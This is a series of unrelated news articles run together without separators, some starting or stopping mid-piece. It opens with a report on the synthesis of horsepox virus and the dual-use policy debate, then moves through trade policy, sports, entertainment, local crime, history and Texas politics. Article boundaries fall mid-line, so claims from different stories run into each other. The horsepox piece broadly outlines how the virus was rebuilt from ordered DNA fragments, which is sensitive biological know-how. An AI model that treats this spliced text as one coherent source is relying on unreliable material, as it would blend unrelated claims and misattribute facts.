Evans declines to discuss details of the work—most of which was done by his research associate Ryan Noyce—because he is about to resubmit a paper about it for publication. But the WHO report says the team purchased overlapping DNA fragments, each about 30,000 base pairs in length, from one of the many companies that synthesize DNA commercially. (The firm was GeneArt, in Regensburg, Germany, Evans says.) That allowed them to stitch together the 212,000–base pair horsepox virus genome.
Introducing the genome into cells infected with a different type of poxvirus led these cells to start producing infectious horsepox virus particles. The virus was then “grown, sequenced and characterized,” the report notes, and had the predicted genome sequence. It all took about half a year and less than $100,000.
But doing something just to show it can be done is wrong if it has dangerous implications, says Thomas Inglesby, director of the Center for Health Security at Johns Hopkins Bloomberg School of Public Health in Baltimore, Maryland. In March, Tonix announced in a little-noticed press release its intention to develop a new, safer smallpox vaccine from Evans's horsepox virus. But it provided few details, and Inglesby argues that, absent a “compelling argument” that the vaccine may be better than those that already exist, the research should not have been done.
Under Canadian rules, research that could generate knowledge posing a dualuse risk should be reviewed in advance, even when it uses a pathogen that is not in itself dangerous, Koblentz says. Evans says his university reviewed the study before it began, and raised no objections; he also informed federal agencies. But as the WHO report notes, Evans feels that authorities “may not have fully appreciated the significance of, or potential need for, regulation or approval of any steps.”
Current U.S. rules would probably not have stopped the study either, Inglesby says. The United States requires a special review for federally funded researchers who plan to do an experiment that “generates or reconstitutes an eradicated or extinct agent”—but only if it's on a list of 15 dual-use agents. That list includes variola, but not horsepox, because it's not considered a dangerous virus itself. Inglesby says that shows the problem of basing rules on a fixed list of pathogens—a problem he says he raised when the United States was drafting its dual-use research policy. (A similar issue would arise if scientists engineered a virus that is not on the list to make it more virulent or more transmissible, Inglesby says.)
Evans says he has also run his draft papers by Canadian government officials involved in export and trade as well as the Public Health Agency of Canada and the Canadian Food Inspection Agency, which were “very helpful and provided timely and sensible guidance,” he says. “These things potentially fall under export legislation, because technically it could be viewed as instructions for manufacturing a pathogen,” he says. Evans says that in the manuscript, he “provided sufficient details so that someone knowledgeable could follow what we did, but not a detailed recipe.”
Nonetheless, both Science and Nature Communications have rejected a paper, says Evans, at least in part because of concern over the dual-use angle. (Science Editor Caroline Ash says the paper was not formally submitted, but that Science decided it wasn't interested based on a presubmission query.) Peter Jahrling, a virologist at the National Institute of Allergy and Infectious Diseases in Bethesda, Maryland, says the paper should definitely be published. “Not only is it novel,” he says, “it is also extremely important.”
Producing the variola virus in the same fashion as horsepox would be prohibited under WHO regulations and rules in place in many nations. Labs are not allowed to make more than 20% of the variola genome, and the companies that make and sell DNA fragments have voluntary checks in place to prevent their customers from ordering ingredients for certain pathogens unless they have a valid reason. But controlling every company in the world that produces nucleic acids is “essentially impossible,” says Paul Keim, who studies anthrax at Northern Arizona University in Flagstaff.
Nicholas Evans, a bioethicist at the University of Massachusetts in Lowell—who's not related to David Evans—thinks new rules need to be put in place given the state of the science. “Soon with synthetic biology … we're going to talk about viruses that never existed in nature in the first place,” he says. “Someone could create something as lethal as smallpox and as infectious as smallpox without ever creating smallpox.” WHO should oblige member states to share information when researchers plan to synthesize viruses related to smallpox, he argues.
The recreation of horsepox may also render moot a long-running debate on whether to destroy the two last known caches of variola. After smallpox was eradicated in 1980, labs around the world agreed to eliminate their remaining smallpox samples or ship them to the Centers for Disease Control and Prevention in Atlanta or to the Russian Research Institute of Viral Preparations in Moscow. (The Russian samples were later moved to the State Research Centre of Virology and Biotechnology in Novosibirsk.) Since then, the fate of those stocks has been intensely debated. “Destructionists” have argued that wiping out the last strains would make the world safer, whereas “retentionists” say keeping the virus—and studying it—could help prepare for future outbreaks.
The horsepox study is “a game-changer for the discussion,” says Andreas Nitsche of the Robert Koch Institute in Berlin, who attended the WHO variola meeting last fall; destroying the stocks doesn't end the threat if the virus can be reconstituted. “You think it's all tucked away nicely in freezers, but it's not,” Jahrling adds. “The genie is out of the lamp.”A move by the Obama administration to require 100 per cent U.S. content in all federally funded transit projects could decimate Canada's bus and rail car industry.
Canadian manufacturers are crying foul over a massive U.S. government-backed transportation bill they say will wreak havoc on existing supply chains and make it very difficult to continue making buses and subway cars in Canada.
The Grow America Act, introduced earlier this month in the U.S. House of Representatives, contains "Buy American" language that would raise U.S. content to 100 per cent by 2018 from 60 per cent now.
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The bill, which must pass both the House and Senate, is part of a resurgence of so-called Buy American rules in numerous recent federal spending bills amid angst about the weak economy.
Hundreds, if not thousands, of Canadian jobs could be put at risk if manufacturers are forced to shift production to the U.S., industry officials warn.
Among the companies that would be affected are Bombardier Inc., which makes subway cars, bus maker Nova Bus Corp.of St. Eustache, Que., and New Flyer Industries Inc. of Winnipeg.
"It would dramatically, over time, affect the Canadian labour base that we have," said Paul Soubry, New Flyer's president and chief executive officer.
One way out of the problem is for Canada to negotiate a special and permanent exemption from the rules in a bilateral procurement deal, according to Martin Lavoie, director of policy for the Canadian Manufacturers and Exporters.
Canada is trying to secure better access to government procurement in the U.S. in the Trans Pacific Partnership negotiations. So far, however, the U.S. wants access to Canada's protected dairy market as a quid pro quo.
New Flyer has structured its business to meet the current lower content requirements, often assembling bus frames in Canada and then shipping them to the U.S. for final assembly. New Flyer has a bus factory in Winnipeg and two in the U.S., in St. Cloud and Crookston, Minn. It has 1,300 employees in Canada and roughly 2,000 in the U.S.
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Continuing to operate in both countries could become "very delicate" if the U.S. pushes ahead with the 100 per cent rule, he said, pointing out that roughly 80 per cent of new bus orders are south of the border, Mr. Soubry said.
"We would have to make the decision: Can we afford a legacy business in Canada, and have a duplicate sourcing and manufacturing infrastructure?" he said.
It would also throw the company's supply chain into turmoil, forcing New Flyer to cut off existing Canadian and offshore suppliers.
"It's not just the impact on New Flyer," Mr. Soubry warned. "It's the impact on our supply chain and our supply chain's supply chain … The governments in the U.S. will do what they think is important, but the ripple effect will be dramatic on our business, and our industry."
Mr. Soubry said he "understands" that the U.S. can do what it wants with its tax, but "it sure sounds like it flies in the face of what free trade was all about."
As with New Flyer, Nova Bus, owned by Volvo, has a plant in Plattsburgh, N.Y. to meet existing U.S. content rules on government-funded transit contracts.
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But spokeswoman Nadine Bernard said reaching 100 per cent U.S. content would be very tough. "The U.S. market would become much more difficult to serve, not just for Nova Bus, but for a lot of players in the industry," she said.
Coach bus maker Prévost, also owned by Volvo and based in Sainte-Claire, Que., is considering opening a plant in Plattsburgh, N.Y., if it wins a key contract with New York City transit authority – to meet local Buy American rules.
The Canadian transit industry lost a key player in 2012, when Daimler AG of Germany shuttered its subsidiary, Orion Bus Industries of Mississauga, Ont., blaming slumping transit sales in North America.Just like last year, the Samsung Galaxy Note8 is rumored to be unveiled in August, rather than September at IFA. In 2016, this gave the Note7 breathing room ahead of the impeding iPhones and this year the new Note has many bridges to rebuild - any headstart on the OLED-packing iPhone 8 will be of great help.
Samsung delayed the launch of the Galaxy S8 to ensure there will be no repeats of the battery disaster that struck the Note7. But with issues cleared out, it seems that there will be no delays - not even waiting for the sub-screen fingerprint reader.
The Snapdragon 836 should be on time, though. Were expecting an Infinity display (hence, no room for a front-mounted fingerprint reader).
Source (in Korean) | ViaOn this day in 1929, the Academy of Motion Picture Arts and Sciences hands out its first awards, at a dinner party for around 250 people held in the Blossom Room of the Roosevelt Hotel in Hollywood, California.
The brainchild of Louis B. Mayer, head of the powerful MGM film studio, the Academy was organized in May 1927 as a non-profit organization dedicated to the advancement and improvement of the film industry. Its first president and the host of the May 1929 ceremony was the actor Douglas Fairbanks, Sr. Unlike today, the winners of the first Oscars–as the coveted gold-plated statuettes later became known–were announced before the awards ceremony itself.
At the time of the first Oscar ceremony, sound had just been introduced into film. The Warner Bros. movie The Jazz Singer–one of the first “talkies”–was not allowed to compete for Best Picture because the Academy decided it was unfair to let movies with sound compete with silent films. The first official Best Picture winner (and the only silent film to win Best Picture) was Wings, directed by William Wellman. The most expensive movie of its time, with a budget of $2 million, the movie told the story of two World War I pilots who fall for the same woman. Another film, F.W. Murnau’s epic Sunrise, was considered a dual winner for the best film of the year. German actor Emil Jannings won the Best Actor honor for his roles in The Last Command and The Way of All Flesh, while 22-year-old Janet Gaynor was the only female winner. After receiving three out of the five Best Actress nods, she won for all three roles, in Seventh Heaven, Street Angel and Sunrise.
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A special honorary award was presented to Charlie Chaplin. Originally a nominee for Best Actor, Best Writer and Best Comedy Director for The Circus, Chaplin was removed from these categories so he could receive the special award, a change that some attributed to his unpopularity in Hollywood. It was the last Oscar the Hollywood maverick would receive until another honorary award in 1971.
The Academy officially began using the nickname Oscar for its awards in 1939; a popular but unconfirmed story about the source of the name holds that Academy executive director Margaret Herrick remarked that the statuette looked like her Uncle Oscar. Since 1942, the results of the secret ballot voting have been announced during the live-broadcast Academy Awardsceremony using the sealed-envelope system. The suspense–not to mention the red-carpet arrival of nominees and other stars wearing their most beautiful or outrageous evening wear–continues to draw international attention to the film industry’s biggest night of the year.There are two types of bowl watches this time of year.
The first is the New Year’s kind, aka the teams hoping to be in the College Football Playoff or a New Year’s Day game. Then there is the APR kind, aka teams that won only five games hoping to still reach a bowl due to their Academic Progress Report scores.
Alright, so those two things aren’t quite equal, but the bottom of the bowl rung is often just as interesting as the top (okay, those aren't equal either, but a guy can dream). A week ago it appeared more than a handful 5-7 teams would sneak into the 80-program bowl field. But wins by NC State, Southern Miss, Vanderbilt and Boston College last week to move to 6-6 lowered that below-.500 group considerably.
As it stands, 76 of the 80 bowl spots are filled.
Two more teams, South Alabama and Louisiana-Lafayette, are 5-6 entering Week 14. With wins by the Jaguars (vs. New Mexico State) and the Ragin’ Cajuns (at Louisiana-Monroe) the available spots would be cut further.
That scenario leaves at least two and as many as four bids available to teams that did not reach the bowl threshold of six wins. The order of the 5-7 finishers in that case is determined by multi-year APR rankings; the highest-ranked schools in terms of APR are given bowl spots first.
There are currently 11 teams at 5-7 entering Week 14 (multi-year APR scores are listed next to the schools): SMU (945), Texas (971), Texas Tech (941), North Texas (984), Akron (947), Northern Illinois (970), Nevada (949), California (960), Arizona State (960), Mississippi State (971) and Ole Miss (958). Additionally, South Alabama (947) and Louisiana-Lafayette (950) could "join "the group at 5-7 after next week.
North Texas will reach a bowl with the highest APR score on the list. Texas and Mississippi State are tied for second, but the Bulldogs will get priority for a bowl over the Longhorns because they have the highest most recent single-year APR score (970-968). If three teams get in, Texas would be next, followed by Northern Illinois in a four-bid scenario.
There is also a chance teams decline bowl bids at 5-7, which happened last year.
North Texas is sure to accept an invitation in Seth Littrell’s first season. Mississippi State, following a huge Egg Bowl victory over Ole Miss, will accept a bid, too.
Texas is a bit of a question mark. The Longhorns have a new coach in Tom Herman, and he was less than committal about a bowl game at his introductory press conference Sunday evening.
“Haven't even thought about it," Herman said. "Quite frankly, it's not a decision for me to make. I think (Athletic Director) Mike (Perrin) and I, if that decision comes, we'll talk about it, but have not had any discussions about it.”
The Longhorns could use the extra 15 practices, but at the same time, they're not expected to retain any of Charlie Strong's staff, so who would coach them? With short preparation, Herman wouldn't want to be responsible for a possible shellacking to rain on his parade.
As for Northern Illinois, the Huskies have been to eight straight bowl games. It’d be a surprise to see that streak end with a chance to get to nine.
California and Arizona State will have an opportunity (a slim one) to reach a bowl if four spots open up and one or two of the teams above decline an invitation. In that scenario, California holds priority due to its most recent single-year APR score.Police arrested the teen this morning in connection with a shooting on Dec. 2 that left two men dead. The teen, who police said lives in Greensboro, was arrested by law enforcement this morning for the deaths of Jeffrey Devine Hampton, 44, of 1511 Avalon Road, and Ernest Lemark Cuthbertson, 23, of Greensboro, said Capt. Mike Richey.
Because the teen is a juvenile his name and address are not being released. Richey declined to say where police arrested the teen.
The juvenile is the third person charged in the shooting deaths of Cuthbertson and Hampton. Also charged with two counts of first-degree murder are Chauncey Jamal Slade, 17, of 1413 Bellevue St., and Elijah Naitron Valentin, 19. He was arrested at a relative's house in Cobb County, Ga. Slade also is charged with discharging a weapon into an occupied dwelling/moving vehicle.
A 13-year-old boy has been charged with two counts of first-degree murder in the deaths of two Greensboro men.From the News & Record:More details on this story can be found atMay 10th
2017 THE DAY THE MILITIA TOOK HALSEY ST (1895)
(The above picture shows the New York State militia shooting a man on Halsey Street, near the corner of Broadway. You can see the recently erected elevated train line at the end of the block.)
In 1895, Halsey Street near Saratoga Park had become a war zone.
The Brooklyn Streetcar strike had begun on 15 January, and before the week was over the agitation would be in full force. The strike, which began with a walkout, would quickly devolve into a pitched battle between the Knights of Labor and streetcar workers on one side and the streetcar line owners, the police and the New York State Militia on the other.
The main focus of much of the strikers’ attention in this part of Brooklyn, though, was the Halsey Street Rail Road Barns. These, located near the corner of Halsey Street and Broadway, were where the streetcar line stored its cars, quartered its horses, and from whence the line’s streetcars were dispatched.
After the workers had called the strike, 5,500 of them would walk off the job for better conditions. The streetcar line owners (the lines were privately owned and operated at the time) countered this strike by calling in scabs who would attempt to operate the streetcars in the workers’ absence. Men from as far away as Pittsburgh began arriving by railway to fill in for the strikers. Others were from the ranks of the local formerly fired streetcar operators, who agreed to the company’s conditions.
This workaround by the streetcar company, as can be guessed, did not sit well with the streetcar workers who grew more and more restless as the days wore on. They began gathering in groups on street corners and forming into extemporaneous mobs to challenge the streetcar operators and then, later, the militia protecting them.
THEN SOMEONE PICKED UP A ROCK…
After a few days of this standoff, someone in the crowd of strikers and their sympathizers (which, from news accounts of the time, appeared to be the entire public), an organic gathering that had been growing daily, picked up a rock. Heaving that projectile at a streetcar operator on the Halsey Street Line, the unknown agitator started the panic that would draw in the state militia.
Until this point the streetcars and their car barns had been protected by members of the Brooklyn Police Department. When the militia arrived, however, they relieved the police. As a result, the eastern section of Stuyvesant Heights, at this point, began to take on the veil of martial law.
It was about a week into the strike, though, that things began to really spiral out of control. On the night of 21 January, the 7th Regiment, “for the second time fired a volley” in the direction of the crowd.
“At the Halsey Street stables,” noted one newspaper, “Companies C, F, and K of the 7th Regiment were stationed.” Their job was to protect the property of the streetcar line owners and the lives of their operators as they took their cars into the streets.”
SHARPSHOOTERS AT HALSEY AND HOWARD!
“Capt. Palmer placed 30 picked sharpshooters at Howard Avenue and Halsey Street where a crowd of about 200 jeered them and threw stones and other missiles.
“At about 10 o’clock the men fired a volley, presumably into the air. About 20 shots were fired but so far as can be learned no one was hurt. The mob quickly dispersed.”
It was learned later that there were casualties, but the crowd, though unruly, was adept at spiriting away its wounded.
Two nights later, though, after a period of relative peace, the strikers grew restless once again, and soon both the militiamen and the strikers were on edge. The tenseness was palpable as each side kept a close watch on the other.
Finally, when a gang of men near Halsey and Broadway refused to move when ordered, the militiamen fired at the mob, which, again, quickly dispersed.
In this incident, however, a streetcar operator working for the company was shot through both arms and a wrist. Also, a man by the name of Aherns, who was not likely even involved in the protest effort, was also shot.
THE CHARGE OF THE 7TH REGIMENT
After a few tense moments around the Halsey Street Car Barns where some rock throwing occurred and soldiers rushed crowds of strikers to force their retreat, the rioters began to gather once again around dusk at the corner of Halsey and Broadway.
There was a clear sense that something was going to happen this time. The crowd jeered and taunted the soldiers who stood impassable, almost in good humor at the taunts.
The commander of the regiment, though, sensing the unrest, moved to the front of his men and warned the crowd that his troops would fire if the crowd did not disperse peaceably or if they continued to throw stones at them.
The crowd, though, sensing its potential strength, only grew larger, as it groped for a way to realize its power in the face of an armed opposition. The commander, also realizing the importance of quelling a riot well before it begins, returned to the front line, calmly drew his sword, and shouted an order to his men.
“Charge!”
At this point the soldiers “started on a run toward the crowd.” From this assault, a number of strikers were wounded, but most escaped by fleeing into saloons or other stores that were open.
“There was no further trouble after the charge,” reported a newspaper, “and the neighborhood was deserted.”
Eventually, the pickets called off the strike, having achieved none of their objectives, and they returned to work.
In the end, hundreds of casualties were the result of the streetcar strike. The atmosphere in Stuyvesant East would remain tense for months to come.
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The Brownstone Detectives
The story you have just read was composed from extensive historical research conducted by The Brownstone Detectives. We perform in-depth investigations on the historic homes of our clients, and produce for them their very own House History Books. Our hardbound books include an illustrated and colorful narrative timeline that will bring the history of any house to life. Contact us today to begin discovering the history of your home.Talking to the Italian radio station Radio Due, Palermo’s presidentconfirmed that Milan are still interested in the Rosanero’s star Franco Vazquez.The 74-year-old entrepreneur has gone further disclosing the Rossoneri’s bid to secure Vazquez’s services.“Milan have already offered, but I am afraid that’s not enough”, Zamparini told the journalists.Although he previously declared that he would have never sold Vazquez in the January transfer window, today Zamparini has kept all the options open for the Italy International’s future.“The player’s price-tag for June is € 30 million. By the way, if any club want to buy Vazquez in January, they have to pay € 30 million |
has since been capped at U19 level.
The defender is said to be committed to playing for Ireland but it's thought that this call-up to the senior panel is a move by the FAI to fend off any attempt by England to "sign" Rice, as happened with Jack Grealish.
“Declan is very good for his age. He has a bright future in him and it’s all down to him. He played a couple of games in the pre-season when we went to the States and we were missing a few players. I can see him being a really good player," Hammers boss Bilic said last week.
Cork goalkeepers Mark McNulty and Alan Smith will also join up with Ireland squad at this week's training camp in Fota Island
Win One of Five Pairs of Tickets to Ireland v France - Click here
Online EditorsMinnesota mountaineer Lonnie Dupre has apparently completed a solo summit of the 20,237-foot Mount McKinley in January, the first time anyone has accomplished such a feat, according to Stevie Plummer, Dupre's expedition manager.
It was Dupre's fourth attempt at a January solo summit. He arrived at base camp to begin his journey on Dec. 18.
On Dupre's Facebook page Sunday afternoon, an image showing Dupre's latitude and longitude based on a GPS tracker he was carrying with him was accompanied by the exclamation "SUMMIT!!!!!"
The image also included a message from the climber, which said, simply, "All OK, Doing Well."
Plummer said she received the GPS SPOT tracker image at 2:08 p.m. (AST). Plummer was not actually able to speak with Dupre, though -- she said his satellite phone appears to not be working correctly.
"The last time I spoke with him he was at about 14,000 feet. He sounded extremely positive, ready to go (and) mentally drained," Plummer said Sunday prior to boarding a plane to Alaska.
Dupre expressed some of the mental strains of the expedition so far in a message to his support team, which he sent Thursday from an elevation of 14,200 feet.
"I have currently been on the mountain for 21 days and I wanted to talk a little bit about the psychological difficulties you have on a trip like this," Dupre said in a voice message from his satellite phone. "Mainly it is just the waiting for good weather so you can move. There is nothing worse than having to stay put, especially when you have 18 hours of darkness every evening; it makes for very long nights. And of course, always having the weather pull the rug out from under you when you were excited to go out somewhere that day and do some climbing. And then of course there is always worry about safety and supplies, and those kinds of things are the kind of things that weigh on my mind each day."
He ended the message by thanking his support crew and signing off with an "over and out."
Plummer said she was unsure when exactly Dupre began ascending from 14,200 feet to his camp at 17,200 feet because he was unreachable. But on Saturday, she received a GPS tracker message saying he had reached the 17,000-foot marker.
"Most people will spend about a day at 17,000 feet to acclimate," Plummer said.
According to Plummer, the hardest part of Dupre's journey will be the descent. By that point, she said, climbers are "extremely fatigued" and need to be "extra careful with their footing."
Dupre had apparently already started his descent Sunday night, with another GPS signal putting him back at 17,200 feet, according to a Facebook post at 6:20 p.m.Get the biggest daily stories by email Subscribe Thank you for subscribing See our privacy notice Could not subscribe, try again later Invalid Email
Employers in Cambridge are prioritising lavish office amenities over low rents to attract the best talent to their businesses.
That's according to property advisers and estate agent Cheffins, which claims there is an increasing demand for gym, creche, catering and transport facilities over cheaper rent and favourable lease terms.
The company's commercial property team has reported a "seismic shift" in the local market, with businesses bringing HR managers to view sites instead of finance directors and COOs.
The cluster of business parks around Cambridge now boast a range of new features to help attract employers entice people to fill jobs at their companies.
According to Cheffins, in the past 10 years, more than 100,00 sq ft of amenity space has been built across three business and science parks in the Cambridge Cluster, in order to satisfy the demands of the likes of Astrazeneca, Illumina and Gilead.
(Image: COEL)
A new amenity building in Granta Park, due to open later this year, will include a café, juice bar, meeting rooms, climbing wall, swimming pool, sauna, jacuzzi, squash courts, fitness studios, gym and tennis courts.
Philip Colligan, CEO of tech company Raspberry Pi, creators of small, affordable computers, said that the search for talented employees had become "intense" in recent years.
"The competition for talent in certain industries means that we have to look at every aspect of our offer for potential hires and this is something which has become more intense over the past five years," he explained.
"This really matters across all price ranges. Amenities are a big deal in technology companies as the counter-factual is situations where the drive for efficiency has led to overly cramped open plan office spaces with no collaboration space and a daily battle for meeting rooms.
"What people actually want varies from business to business, however flexibility is what is at the top of my list.
"You also need access to great food, leisure, childcare, health, fitness facilities. We see these as a top priority along with public transport options, parking and access to outdoor space."
(Image: COEL)
Other examples of the redevelopment of science parks in the Cambridge Cluster include The Cambridge Building at Babraham, a new conference and social facilities building and The Nucleus at Chesterford research park which includes a gym and restaurant.
Looking for a job in Cambridge? Visit www.fish4jobs.co.uk/jobs/cambridge
Dan Brown, director of Cambridge based design and fit-out company COEL, said: "We are increasingly being approached by organisations keen to address the issue of employee well-being and retention as part of a fit-out or refurbishment project.
"Companies realise that to attract and retain the cream of the crop in terms of skill-set and experience, they need to be one step ahead of their competition when considering on-site facilities.
COEL recently completed a fit out project for Cambridge gaming company Jagex, whose brief asked for a "bold, funky and inspirational" working environment with "breakout and downtime" space.
The new office includes a 'gaming cave', employee bar, soft seating area with pool table and piano and restaurant facilities.
(Image: COEL)
Michael Jones, director at Cheffins, said that in the science and tech industries a greater emphasis was being balance on work and life balance to retain staff.
He explained that increasing numbers of companies were also providing transport support for employees to connect them to local train stations.
"This is what has been the catalyst for the competitive nature of building and refurbishing amenity space at some of the world’s most coveted business and science parks," he added.
(Image: COEL)
"As the letting agent at three of the region’s largest science parks we have seen a shift in behaviour with the HR manager now looking at a space to consider whether it provides enough facilities to be able to attract the best staff and this is now more important than the cost of the building.
"Whilst co-working space has been central to discussions around the office market, amenities on offer are what makes the difference for the science and tech sector.
"There is no need for bean bags and free fruit in this market, rather the emphasis is on providing a gym, a crèche, catering on site and bus and rail links.
"This change in the market has only occurred over the past 10 years with a particular peak of this behaviour in the past 24 months as Cambridge and its Science Parks solidifies its position as the go-to location for some of the world’s largest and most successful science and tech companies.
"We have also seen an increase in the numbers of top companies providing public transport, mainly buses, from Cambridge city centre to the Cambridge parks, Chesterford Research Park regularly runs 60 shuttle runs per day to bring staff from Cambridge train station to the park."
You can keep up to date with all the latest news in and around Cambridge by downloading our free app. It is available for the iPhone and iPad from Apple's App Store, or the Android version can be downloaded from Google Play.Arriving in London for the Nov. 2 premiere of his new film, “Murder on the Orient Express,” actor Johnny Depp may have had one too many drinks beforehand.
Staggering and reeking of booze, the bleary-eyed Academy Award nominee’s personal security guard had to not only prop him up, but also guide him into Royal Albert Hall, The Sun reported.
JULIANNA MARGULIES REVEALS UNCOMFORTABLE HOTEL ROOM EXPERIENCES WITH HARVEY WEINSTEIN AND STEVEN SEAGAL
“Everyone thought he'd been drinking,” sources told the paper, adding that the 54-year-old actor had spent the night before partying at the hot London club The Box.
The A-lister was also apparently asked to stop smoking indoors three separate times during the event.
Representatives for Depp did not immediately respond to Fox News' request for comment.
Depp’s odd behavior continued on Nov. 3, when he appeared on “The Graham Norton Show” alongside costars Dame Judi Dench, Michelle Pfeiffer and Josh Gad, as well as director Kenneth Branagh, to promote the big screen adaptation of Agatha Christie’s 1934 novel of the same name.
On air, Depp discussed his dream of going to Disneyland dressed as his famous “Pirates of the Caribbean” character Captain Jack Sparrow and pretending to be a statue, according to The Daily Mail.
PRINCE JACKSON RUSHED TO HOSPITAL AFTER MOTORCYCLE CRASH
"I was very excited to stand rock still and then shout out (in Jack's voice), "Oi, what you looking at?" I got no reaction whatsoever - nothing! I then had to start describing the people I was shouting at so they knew I was real… it was exhausting and such a bad idea," Depp said.
The Academy Award-nominated actor has had a tough go of it since splitting from ex-wife Amber Heard in May 2016 amid allegations of domestic abuse. During the divorce process, Heard secured a temporary restraining order against Depp, in which he was ordered to keep 100 yards away from the actress and avoid contact. In addition, his latest film projects have largely flopped at the box office.
“You can see why there are still some serious fears about his well-being,” the Sun’s source added.The huge success of PlayStation 4 is surely a good news for Sony. As with most popular platforms, Sony also has plans to support the hardware with software. SCE UK’s managing director Fergal Gara is quite confident in their upcoming software lineup for PlayStation 4.
Speaking in an interview to Eurogamer, Fergal Gara seemed happy with the sales success of the PlayStation 4. When he was asked how Sony is going to support the PlayStation 4 with software, since Microsoft is getting TitanFall exclusively in March; Gara was confident that the PlayStation 4’s software output would be enough to generate sales for the hardware in the coming months.
“We take nothing for granted. A strong start is just that. Do we have lots of good stuff coming? Yes we do. Do they have strong stuff coming? Yes, we think so. So it’s continued to maximise every opportunity we’ve got. The best opportunity we’ve got is that momentum, and people are coming back to PlayStation. There are lots of new people, too – I won’t draw conclusions as to where they came from, but it’s been really exciting.”
Gara added: “The likes of inFamous is shaping up well, that’s going to have significant demand. Is it going to be bigger or smaller than Titanfall? I don’t know. It’s a play in the very same time window, and that’s good to have.”
inFamous: Second Son is set to launch on 21st March, 2014. TitanFall will arrive a week earlier on 11th March, 2014. Both titles have generated a lot of hype and are expected to do big numbers.
DriveClub was another title for the PlayStation 4 that was promised at launch but never made its official date. Gara considers the title “quiet ambitious” and calls the delay as a way to polish the title further.
“The only reason that product was delayed and we haven’t accurately communicated a revised release date is that we want it to be right. There’s a fair promise in that tile in what it wants to do with social features and really innovating in the driving genre. There’s no point in it coming out and half doing that job. It was quite ambitious and didn’t quite get there in the timeline hoped. That’s not great, but it’s far better to bring it out at the standard…”
DriveClub has yet to receive an official release date from Sony.
What do you think of this story? Share your thoughts with us in the comments below.Rep. Adam Schiff, D-Calif., the ranking member of the House Intelligence Committee, speaks to reporters on Capitol Hill in Washington Friday. (J. Scott Applewhite/AP)
The top Democrat on the House intelligence committee on Friday accused his Republican counterpart of bending to pressure from the White House in his decision to cancel a hearing scheduled for Tuesday in which former top intelligence officials were to testify in connection with a probe encompassing potential ties between President Donald Trump's campaign and Russia.
Rep. Adam Schiff, D-Calif., slammed the committee's chairman, Rep. Devin Nunes, R-Calif., for canceling the hearing over Democrats' objections.
"We strongly object to the cancellation of this hearing," Schiff said in a press conference Friday, shortly after Nunes announced the hearing had been postponed. "We would still urge the majority to reconsider. The witnesses have made it clear that they are still available, and we would urge that that hearing be allowed to go forward."
Nunes said Tuesday's open hearing – which was due to feature the testimony of Director of National Intelligence James Clapper, former CIA Director John Brennan and former acting U.S. Attorney General Sally Yates – had been pushed so the committee could bring back FBI Director James Comey and National Security Agency Director Mike Rogers for a closed session. The pair testified in an open hearing on Monday.
But Schiff said the events of this week – primarily Nunes visiting the White House on Wednesday to discuss intelligence with the Trump administration that the rest of the committee has yet to see – had him suspicious of Nunes' motives.
Nunes has apologized to members of his committee for briefing the public and the White House on what he said was evidence that Trump associates had been swept up in incidental intelligence collection before Democratic members of the committee had the opportunity to review it.
On Friday, Nunes said bringing back Comey and Rogers has "nothing to do with the [new] documents that I've seen."
"I have no objection to bringing [Comey and Rogers back] back and having a closed hearing," Schiff countered. "But I don't think anyone should have any question about what is really going on here. … What really is involved here is the cancellation of the open hearing and I think the rest is designed to simply distract from that point."
"There must have been a very strong pushback from the White House about the nature of Monday's hearing – it's hard for me to come to any other conclusion about why an agreed-upon hearing would be suddenly canceled," Schiff continued. "Clearly it had to do with the events of this week. … So what other explanation can there be? There really is none when these witnesses are ready and available."
Schiff declined to call for Nunes to resign as chairman, saying that decision was one House Speaker Paul Ryan has to make.
"I think the speaker has to decide just as well as our own chairman whether they want a credible investigation being done here, whether they want an investigation that the public can have confidence in," Schiff said. "The events of this week are not encouraging."
But he said Nunes had compromised the integrity of the investigation, and called for an independent commission to conduct a Russia-related probe.
"I think anyone watching [the events of this week] has very legitimate, profound concerns about whether this Congress indeed can do a credible investigation," he continued. "I think that one of the profound takeaways of the last couple days is we really do need an independent commission here because the public at the end of the day needs to have confidence that someone has done a thorough investigation untainted by political considerations."First Lady Anita Perry, Secretary of State Nandita Berry and Houston-area state Rep. Senfronia Thompson were just three of the honorees Gov. Rick Perry inducted into the Texas Women’s Hall of Fame on Tuesday.
The biennial awards were handed out to nine women in a ceremony held in Texas State Senate Chambers. The inductees, chosen for the leadership they exhibited in everything from business and health advocacy to community and public service, will be featured in the state’s Hall of Fame permanent exhibit at Texas Woman’s University in Denton. The names of more than 100 notable women have been added to the list since it was established in 1984 under then-Gov. Mark White.
During his keynote address, Perry said the successes of these women are all the greater for having been made in the face of often overwhelming societal barriers. He said the Hall of Fame is a place for the state’s greatest, many of whom were “non-conformists.” “Yes Senfronia, I’m looking at you,” Perry joked, referring to Thompson, the longest-serving woman and African-American in the Texas Legislature.
After the ceremony, Thompson said her greatest achievement has been standing up for Texas citizens who can’t afford lobbyists, whom she calls the “little dogs.” When asked about her long career – she was first voted in in 1972 and has been re-elected 21 times – she said serving in the state Legislature is more than just a job to her. “It’s not work to me. It’s something I fell in love with.” Thompson arguably received the loudest standing ovation of the inductees Tuesday, the video presentation of her life and leadership ending with her proclaiming indigent and uneducated Texans are “not asking for a handout. They’re asking to be lifted up.”
Newly-minted Secretary of State Nandita Berry also was honored for her accomplishments in the business and legal fields. During his speech, Perry specifically touched on Berry and her path – from her arrival in the U.S. 25 years ago with less than $200 in her pocket, to her naturalization, thriving legal career working for Fortune 500 companies and international law firms and, finally, her appointment as Texas’ first Secretary of State of Indian descent in January.
Perry also honored his wife, Anita, with a leadership award. During her video presentation, Anita Perry noted her long career as a nurse and her efforts to promote economic development, child immunization and anti-domestic violence programs during her years as First Lady of Texas. Gov. Perry also thanked his wife for saying yes to his marriage proposal, more than 16 years after they first started dating.
The recipients are chosen from nominations submitted and reviewed by a panel of judges. Past honorees include former U.S. Sen. Kay Bailey Hutchison, basketball star Sheryl Swoops, astronaut Sally Ride, George W. Bush counselor and ex-U.S. State Department Undersecretary Karen Hughes and Ann Richards, Texas’ most recent female governor.
Below is a full list of the 2014 inductees to the Texas Women’s Hall of Fame:
– Nandita Berry (Business Award): Texas Secretary of State, the first of Indian descent, appointed Jan. 7, 2014; former counsel at Locke Lorde LLP in Houston. – Lillie Biggins (Health Award): President of the non-profit medical center Texas Health Harris Methodist Hospital Fort Worth, Chair of Dallas/Fort Worth International Airport Board of Directors.
– Joanne Herring (Community Service Award): Houston-area socialite, businesswoman, philanthropist and cultural ambassador; active in Afghanistan and Pakistan and a key driver in U.S. Rep. Charlie Wilson’s efforts to convince Congress to support Afghan fighters against the Soviet incursion.
